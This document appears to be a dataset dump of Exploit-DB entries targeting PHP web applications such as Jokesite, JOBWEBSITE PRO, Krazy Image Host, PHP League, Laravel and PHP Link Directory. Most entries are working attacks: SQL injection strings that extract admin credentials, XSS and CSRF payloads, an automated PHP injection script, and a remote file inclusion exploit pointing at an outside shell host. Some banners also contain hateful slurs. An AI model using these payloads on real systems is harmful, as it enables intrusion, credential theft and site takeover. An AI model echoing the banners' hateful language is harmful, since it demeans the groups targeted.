deardaniel/secdata-raw huggingface dataset:
Exploit-DB #26797
Description: PHP JackKnife 2.21 - Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-12-13
Author: r0t3d3Vil

Exploit:
source: www.securityfocus.com/bid/15841/info

PHP JackKnife is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks.

http://www.example.com/Search/DisplayResults.php?DOMAIN_Link=&iSearchID=292&sKeywords=%22%3E%3Cscript%3Ealert%28%27r0t%27%29%3C%2Fscript%3E
Exploit-DB #32624
Description: PHP JOBWEBSITE PRO - 'adname' SQL Injection
Type: webapps
Platform: php
Date: 2008-12-01
Author: Pouya_Server

Exploit:
source: https://www.securityfocus.com/bid/32570/info

PHP JOBWEBSITE PRO is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.

Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database. 

http://www.example.com/[Path]/siteadmin/forgot.php?adname=SQL'"&fu=Submit
Exploit-DB #32625
Description: PHP JOBWEBSITE PRO - 'forgot.php' Cross-Site Scripting
Type: webapps
Platform: php
Date: 2008-12-01
Author: Pouya_Server

Exploit:
source: https://www.securityfocus.com/bid/32570/info
 
PHP JOBWEBSITE PRO is prone to an SQL-injection vulnerability and multiple cross-site scripting vulnerabilities because it fails to sufficiently sanitize user-supplied data.
 
Exploiting these issues could allow an attacker to steal cookie-based authentication credentials, compromise the application, access or modify data, or exploit latent vulnerabilities in the underlying database.
 

http://www.example.com/[Path]/siteadmin/forgot.php
UserName:<script>alert(1369)</script>
Exploit-DB #5807
Description: PHP JOBWEBSITE PRO - 'JobSearch3.php' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-13
Author: JosS

Exploit:
--==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--
--==+          PHP JOBWEBSITE PRO (JobSearch3.php) Remote SQL Injection Vulnerability    +==--
--==+====================================================================================+==--
                          - dreaming of necessity is reason to comply -


[+] Info:

[~] Bug found by JosS
[~] sys-project[at]hotmail.com
[~] http://www.spanish-hackers.com/
[~] EspSeC & Hack0wn!.

[~] Software: PHP JOBWEBSITE PRO (payment)
[~] HomePage: http://www.preproject.com/
[~] Exploit: Remote SQL Injection [High]
[~] Vuln file: JobSearch3.php

[~] /jobseekers/JobSearch3.php (search module)

[+] Exploit:

[~] ' and 1=2 union all select 1,2,3,4,5,user(),7,8,9,0,1,2,3,4,5/*

* In memory of rgod

--==+=================== Spanish Hackers Team (www.spanish-hackers.com) =================+==--
--==+                                       JosS                                         +==--
--==+====================================================================================+==--
                                       [+] [The End]

# milw0rm.com [2008-06-13]
Exploit-DB #14860
Description: PHP Joke Site Software - 'sbjoke_id' SQL Injection
Type: webapps
Platform: php
Date: 2010-09-01
Author: h4ck3r

Exploit:
[#] Title:    PHP Joke Site Software (sbjoke_id) SQL Injection Vuln

[#] Link:    http://www.softbizscripts.com/jokes-script-features.php

[#] Author:    BorN To K!LL - h4ck3r

[#] 3xploit:

/index.php?sbjoke_id=-5592+union+all+select+1,2,3,4,concat(sbadmin_name,0x3a,sbadmin_pwd),6,7,8,9,10,11,12,13+from+sbjks_admin--

[#] 3xample:

http://www.site.com/index.php?sbjoke_id=-5592+union+all+select+1,2,3,4,concat(sbadmin_name,0x3a,sbadmin_pwd),6,7,8,9,10,11,12,13+from+sbjks_admin--

[#] Greetings:

[Dr.2] , [darkc0de team] , [AsbMay's Group] , n all ...
Exploit-DB #5660
Description: PHP Jokesite 2.0 - 'cat_id' SQL Injection
Type: webapps
Platform: php
Date: 2008-05-20
Author: InjEctOr5

Exploit:
                         ||          ||   | ||        
                  o_,_7 _||  . _o_7 _|| 4_|_||  o_w_, 
                 ( :   /    (_)    /           (   . 

                   ================================
                      ==========================
                         ==================== 
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|
|     _                   __           __       __          ______     |
|   /' \            __  /'__`\        /\ \__  /'__`\       /\  ___\    |
|  /\_, \    ___   /\_\/\_\L\ \    ___\ \ ,_\/\ \/\ \  _ __\ \ \__/    |
|  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\ \___``\  |
|     \ \ \/\ \/\ \ \ \ \/\ \L\ \/\ \__/\ \ \_\ \ \_\ \ \ \/ \/\ \L\ \ |
|      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\  \ \____/ |
|       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/   \/___/  |
|                  \ \____/ >> Kings of injection                      |
|                   \/___/                                             |
|                                                                      |
|-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=|


<<!>> Found by  :  Cyb3r-1sT

<<!>> C0ntact :  t3tto0 [at] yahoo.com

                 cyb3r-1st [at] hotmail.com

<<!>> Groups : InjEctOr5 T3am 


=======================================================
+++++++++++++ R3membeR Kings of injection +++++++++++++
=======================================================


<<->> script : jokesite 2.0

<<->> download : www.scriptdemo.com/php-jokesite/ver2.0  


=======================================================
++++++++++++++++ pwning israel fuckers ++++++++++++++++
=======================================================


<<->> D0rk    : find it

<<->> Exploit :>>>>>>>>>
                  www.site.me/jokes_category.php?cat_id=-99999999'+union+select+0,1,2,3,database(),5,6,7,8,9,10,user(),12/*

 
=======================================================
+++++++++++++++++++++++ Greetz ++++++++++++++++++++++++
=======================================================


<<->> My best freinds :: titanichacker $ arb-hawk $ denm0 $ drbaka  $ nicehacker 
                          anaconda-ksa $ Brightdark $ sirus $ crazy-x  and all freinds

<<->> InjEctOr5 TeaM  


<<->> All muslims

# milw0rm.com [2008-05-20]
Exploit-DB #42534
Description: PHP Jokesite 2.0 - 'joke_id' SQL Injection
Type: webapps
Platform: php
Date: 2017-08-21
Author: Ihsan Sencan

Exploit:
# # # # #
# Exploit Title: PHP Jokesite 2.0 - 'joke_id' Parameter SQL Injection
# Dork: N/A
# Date: 21.08.2017
# Vendor Homepage: http://www.scriptdemo.com/
# Software Link: http://www.scriptdemo.com/details/phpjokesite2/
# Demo: http://www.scriptdemo.com/php-jokesite/ver2.0/
# Version: 2.0
# Category: Webapps
# Tested on: WiN7_x64/KaLiLinuX_x64
# CVE: N/A
# # # # #
# Exploit Author: Ihsan Sencan
# Author Web: http://ihsan.net
# Author Social: @ihsansencan
# # # # #
# Description:
# The vulnerability allows an attacker to inject sql commands....
#
# Proof of Concept:
# 
# http://localhost/[PATH]/print.php?joke_id=[SQL]
#
# -230'+unIon(SELEct+0x283129,0x283229,0x3c68313e494853414e2053454e43414e3c2f68313e,0x283429,0x283529,(/*!00000SeLect*/(@x)/*!00000fRom*/(/*!00000select*/(@x:=0x00),(@running_number:=0),(@tbl:=0x00),(/*!00000select*/(0)/*!00000from*/(information_schema.columns)/*!00000where*/(table_schema=database())and(0x00)in(@x:=/*!00000CoNcaT*/(@x,0x3c62723e,if((@tbl!=table_name),/*!00000CoNcaT*/(0x3c2f6469763e,LPAD(@running_number:=@running_number%2b1,2,0x30),0x3a292020,0x3c666f6e7420636f6c6f723d7265643e,@tbl:=table_name,0x3c2f666f6e743e,0x3c62723e,(@z:=0x00),0x3c[PII_REDACTED]74796c653d226d617267696e2d6c6566743a333070783b223e),0x00),lpad(@z:=@z%2b1,2,0x30),0x3a292020,0x3c666f6e7420636f6c6f723d626c75653e,column_name,0x3c2f666f6e743e))))x),0x283729,0x283829,0x283929,0x28313029,0x28313129,0x28313229,0x28313329)--+-
#
# Etc...
# # # # #
Exploit-DB #12004
Description: PHP Jokesite 2.0 - exec Command
Type: webapps
Platform: php
Date: 2010-04-01
Author: indoushka

Exploit:
========================================================================================                  
| # Title    : PHP Jokesite V 2.0 exec command EXploit            
| # Author   : indoushka                                                               
| # email    : indoushka@hotmail.com                                                   
| # Home     : www.iqs3cur1ty.com                                                                                                                                                                                                                  
| # Tested on: windows SP2 Français V.(Pnx2 2.0) + Lunix Français v.(9.4 Ubuntu)       
| # Bug      : execcommand                                                                      
======================      Exploit By indoushka       =================================
 # Exploit  : 
 
<form action="http://127.0.0.1/php-jokesite_v2/admin/setup/exec.php" method="post">
<input type="hidden" name="action" value="exec">

<table align="center">

<tr>

<td>Enter command to exec:</td>
</tr>

<tr>
<td>
<textarea name="execcommand" cols="60" rows="3">
&lt;/textarea&gt;
</td>

</tr>
<tr>
<td><input type="submit" name="go" value="Go">
</td>

</tr>

</table>

</form>
 
Dz-Ghost Team ===== Saoucha * Star08 * Redda * Silitoad * XproratiX * onurozkan * n2n * ========================
Greetz : 
Exploit-db Team : 
(loneferret+Exploits+dookie2000ca)
all my friend :
His0k4 * Hussin-X * Rafik (www.Tinjah.com) * Yashar (www.sc0rpion.ir) SoldierOfAllah (www.m4r0c-s3curity.cc)
Stake (www.v4-team.com) * r1z (www.sec-r1z.com) * D4NB4R http://www.ilegalintrusion.net/foro/
www.securityreason.com * www.sa-hacker.com * Cyb3r IntRue (avengers team) * www.alkrsan.net * www.mormoroth.net
---------------------------------------------------------------------------------------------------------------
Exploit-DB #5883
Description: PHP KnowledgeBase Script 2.4 - 'cat_id' SQL Injection
Type: webapps
Platform: php
Date: 2008-06-21
Author: S.L TEAM

Exploit:
#########################################################################
#################### PROUD TO BE MUSLIM ##############################
##
## Remote SQL Injection Vulnerability
##
## Knowledge Base Software Overview  ( index.php cat_id )
##
#########################################################################
#########################################################################
##
## AuTh0r : S.L TEAM     ( FA6@L 3RROR  --- H3B@R13H)
##
## H0ME   : WwW.MALAKSOFT.CoM 

########################
########################
##
## Script  : Knowledge Base Software Overview
##
## site    : www.kblance.com
##
########################
########################
 ## -(:: SQL ::)-

##    www.site.com/
##          index.php?main=comment&sub=index&view=&qid=3&cat_id=-3+union+select+1,concat_ws(0x3a3a,uname,pwd),3,4,5,6,7,8,9,10+from+user/*
##
##  -(:: L!VE DEMO ::)-
##
##    http://www.kblance.com/demo/index.php?main=comment&sub=index&view=&qid=3&cat_id=-3+union+select+1,concat_ws(0x3a3a,uname,pwd),3,4,5,6,7,8,9,10+from+user/*
#######################################################################################################
#######################################################################################################
 
                                  -(:: !greetz! ::)-
 
 :: MR.SQL   :: BLACK CHEETAH :: GERMAYA-X ::  :: MusliMs HaCkErs ::
#######################################################################################################
#######################################################################################################

# milw0rm.com [2008-06-21]
Exploit-DB #8046
Description: PHP Krazy Image Host Script 1.01 - 'id' SQL Injection
Type: webapps
Platform: php
Date: 2009-02-12
Author: x0r

Exploit:
#########################################################################################
[0x01] Informations:

Name           : PHP Krazy Image Host Script 1.01
Download       : http://www.hotscripts.com/listings/jump/download/66961/
Vulnerability  : Sql Injection
Author         : x0r
Contact        : andry2000@hotmail.it
Notes          : Proud to be Italian
#########################################################################################
[0x02] Bug:

Bugged file is /[path]/viewer.php

[Code]
	 	$id = $_GET['id']; [...]
$query="SELECT * FROM images WHERE id=" . $id;
$result = mysql_query($query);
[/code]

#########################################################################################
[0x03] Exploit:

Exploit: http://victim.it/viewer.php?id=-1 union select
0,0,0,concat(id,char(45),user,char(45),password),0,0, from users--

########################################################################################

# milw0rm.com [2009-02-12]
Exploit-DB #2456
Description: PHP Krazy Image Hosting 0.7a - 'display.php' SQL Injection
Type: webapps
Platform: php
Date: 2006-09-29
Author: Trex

Exploit:
<?
/*****************************************************************\
|* PHP Krazy Image Host Script (id) Remote SQL Injection Exploit *|
|* Discovered by: Trex                                           *|
|* Solution: http://www.trex-online.net/fixes/display.rar        *|
|* Visit: Trex-Online.net / UnderGround.ag                       *|
\*****************************************************************/

error_reporting(0);

echo "# PHP Krazy Image Host Script (id) Remote SQL Injection Exploit\n";
echo "# Discovered by: Trex\n";
echo "# Solution: http://www.trex-online.net/fixes/display.rar\n";
echo "# Visit: Trex-Online.net / UnderGround.ag\n\n";
echo "# Usage: $ php " . $_SERVER['PHP_SELF'] . " [URL] [PATH] [SELECT] [FROM] [WHERE]\n";
echo "# Example: $ php " . $_SERVER['PHP_SELF'] . " http://localhost /images/ password users userID=1\n\n";

if (!$_SERVER['argv'][5])
	die();

$url = parse_url($_SERVER['argv'][1] . $_SERVER['argv'][2]);

$sql = "UNION+SELECT+1,1,1,1," . $_SERVER['argv'][3] . ",1,1,1+FROM+" . $_SERVER['argv'][4] . "+WHERE+" . $_SERVER['argv'][5] . "/*";

echo "Connecting to " . $url['host'] . ":80 ... ";

if (!$fsp = fsockopen($url['host'], 80, $errno, $errstr, $timeout))
	die("failed.\nReason: " . $errno . " - " . $errstr);

echo "done.\n\n";

$request  = "HEAD " . $url['path'] . "display.php?id=0+" . $sql . " HTTP/1.1\r\n";
$request .= "Host: " . $url['host'] . "\r\n";
$request .= "Connection: Close\r\n\r\n";

fputs($fsp, $request);

while (!feof($fsp)) {
	$response = fgets($fsp, 4096);
	$response = explode(":", $response, 2);

	if (count($response) == 2 && preg_match("/Content-Type/", $response[0]))
		$result = $response[1];
}

if (preg_match("/text\/html/", $result))
	echo "Exploit failed!";
else
	echo "Result: " . $result;
?>

# milw0rm.com [2006-09-29]
Exploit-DB #25468
Description: PHP Labs - '.proFile' Dir URI Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-04-20
Author: sNKenjoi

Exploit:
source: https://www.securityfocus.com/bid/13276/info

PHP Labs proFile is prone to a cross-site scripting vulnerability. As a result, attackers may embed hostile HTML and script code in a malicious link to the affected application. If the link is followed, the code may be rendered by the victim's browser in the context of the vulnerable site.

Exploitation could allow theft of cookie-based authentication credentials or other attacks. 

http://www.example.com/index.php?act=load&dir=[XSS]
Exploit-DB #25473
Description: PHP Labs - '.proFile' File URI Cross-Site Scripting
Type: webapps
Platform: php
Date: 2005-04-20
Author: sNKenjoi

Exploit:
source: https://www.securityfocus.com/bid/13282/info

PHP Labs proFile is prone to a cross-site scripting vulnerability. As a result, attackers may embed hostile HTML and script code in a malicious link to the affected application. If the link is followed, the code may be rendered by the victim's browser in the context of the vulnerable site.

Exploitation could allow theft of cookie-based authentication credentials or other attacks. 

http://www.example.com/index.php?act=delete&dir=&file=[XSS]
http://www.example.com/index.php?act=copy&dir=&file=[XSS]
http://www.example.com/index.php?act=rename&dir=&file=[XSS]
Exploit-DB #26569
Description: PHP Labs Survey Wizard - SQL Injection
Type: webapps
Platform: php
Date: 2005-11-23
Author: r0t

Exploit:
source: https://www.securityfocus.com/bid/15551/info

PHP Labs Survey Wizard is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input before using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation. 

http://www.example.com/survey.php?sid=[SQL]
Exploit-DB #50525
Description: PHP Laravel 8.70.1 - Cross Site Scripting (XSS) to Cross Site Request Forgery (CSRF)
Type: webapps
Platform: php
Date: 2021-11-15
Author: Hosein Vita

Exploit:
# Exploit Title: PHP Laravel 8.70.1 - Cross Site Scripting (XSS) to Cross Site Request Forgery (CSRF)
# Date: 14/11/2021
# Exploit Author: Hosein Vita
# Vendor Homepage: https://laravel.com/
# Software Link: https://laravel.com/docs/4.2
# Version: Laravel Framework 8.70.1
# Tested on: Windows/Linux

# Description: We can bypass laravel image file upload functionality to upload arbitary files on the web server
# which let us run arbitary javascript and bypass the csrf token , For more information read this one https://hosein-vita.medium.com/laravel-8-x-image-upload-bypass-zero-day-852bd806019b

# Steps to reproduce:
1- Use HxD tool and add FF D8 FF E0 at the very begining of your file
2- Use code below to bypass csrf token

ÿØÿà<html>
<head>
<title>Laravel Csrf Bypass</title>
</head>
<body>
<script>
function submitFormWithTokenJS(token) {
    var xhr = new XMLHttpRequest();
    xhr.open("POST", POST_URL, true);

    // Send the proper header information along with the request
    xhr.setRequestHeader("Content-type", "application/x-www-form-urlencoded");

    // This is for debugging and can be removed
    xhr.onreadystatechange = function() {
        if(xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
            console.log(xhr.responseText);
        }
    }
	//
    xhr.send("_token=" + token + "&desiredParameter=desiredValue");
}

function getTokenJS() {
    var xhr = new XMLHttpRequest();
    // This tels it to return it as a HTML document
    xhr.responseType = "document";
    // true on the end of here makes the call asynchronous
	//Edit the path as you want
    xhr.open("GET", "/image-upload", true);
    xhr.onload = function (e) {
        if (xhr.readyState === XMLHttpRequest.DONE && xhr.status === 200) {
            // Get the document from the response
            page = xhr.response
            // Get the input element
            input = page.getElementsByTagName("input")[0];
            // Show the token
            alert("The token is: " + input.value);
            // Use the token to submit the form
            submitFormWithTokenJS(input.value);
        }
    };
    // Make the request
    xhr.send(null);
}
getTokenJS();

var POST_URL="/"
getTokenJS();

</script>
</html>

3- Save it as Html file and upload it.
Exploit-DB #2652
Description: PHP League 0.81 - 'config.php' Remote File Inclusion
Type: webapps
Platform: php
Date: 2006-10-25
Author: ajann

Exploit:
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=windows-1254">
<title>PhpLeague 0.81 Remote File Include Exploit</title>

<script language="JavaScript">

//'===============================================================================================
//'[Script Name: Php League <= 0.81(cheminmini) Remote FILE Include Exploit
//'[Coded by   : ajann
//'[Author   : ajann
//'[Contact    : :(
//'[Using : Write Target after Submit Click
//'===============================================================================================


     //Basic exploit,but any time : (
   var adres="/config.php?" //FÝle name
   var acik ="cheminmini=" // Line 19
   var shell="http://hometown.aol.com/yarivgiladi/musa.php?" // Shell Script

   function command(){
       if (document.rfi.target1.value==""){
          alert("Failed..");
      return false;
    }



  rfi.action= document.rfi.target1.value+adres+acik+shell; // Ready Target : 
)
  rfi.submit(); // Form Submit
   }
</script>


</head>

<body bgcolor="#000000">
<center>

<p><b><font face="Verdana" size="2" color="#008000">PhpLeague 0.81 Remote 
File
Include Exploit</font></b></p>
<p></p>
<form method="post" target="getting" name="rfi" onSubmit="command();">
    <b><font face="Arial" size="1" color="#FF0000">Target:</font><font 
face="Arial" size="1" 
color="#808080">[http://[target]/[scriptpath]</font><font color="#00FF00" 
size="2" face="Arial">
  </font><font color="#FF0000" size="2">&nbsp;</font></b>
  <input type="text" name="target1" size="20" style="background-color: 
#808000" onmouseover="javascript:this.style.background='#808080';" 
onmouseout="javascript:this.style.background='#808000';"></p>
  <p><input type="submit" value="Gönder" name="B1"><input type="reset" 
value="Sýfýrla" name="B2"></p>
</form>
<p><br>
<iframe name="getting" height="337" width="633" scrolling="yes" 
frameborder="0"></iframe>
</p>
<b><font face="Verdana" size="2" color="#008000">ajann</font></b></p>
</center>
</body>

</html>

# milw0rm.com [2006-10-25]
Exploit-DB #16037
Description: PHP Link Directory 4.1.0 - Cross-Site Request Forgery (Add Admin)
Type: webapps
Platform: php
Date: 2011-01-23
Author: AtT4CKxT3rR0r1ST

Exploit:
PHP Link Directory v4.1.0 CSRF Vulnerability (Add Admin)
====================================================================

####################################################################
.:. Author         : AtT4CKxT3rR0r1ST  [F.Hack@w.cn]
.:. Script         : http://www.phplinkdirectory.com/
.:. Dork           : "Powered by: PHP Link Directory"
.:. Gr34T$ T0 [h1ch4m] & [Risky] & [www.Hack-Book.com] 

####################################################################

===[ Exploit ]===
<html>
<head>
<title>PHP Link Directory v4.1.0 [Add Admin]</title>
</head>
<H2>CSRF Add Admin By AtT4CKxT3rR0r1ST</H2>
<form method="POST" name="form0" action="http://localhost/admin/conf_users_edit.php?action=N">
<input type="hidden" name="LOGIN" value="webmaster"/>
<input type="hidden" name="NAME" value="Mohammad Hussien"/>
<input type="hidden" name="PASSWORD" value="123456"/>
<input type="hidden" name="PASSWORDC" value="123456"/>
<input type="hidden" name="LANGUAGE" value="sq"/>
<input type="hidden" name="EMAIL" value="example@hotmail.com"/>
<input type="hidden" name="cemail" value="1"/>
<input type="hidden" name="LEVEL" value="1"/>
<input type="hidden" name="formSubmitted" value="1"/>
<input type="hidden" name="id" value=""/>
<input type="hidden" name="exclude_id" value=""/>
</form>

</body>
</html>
####################################################################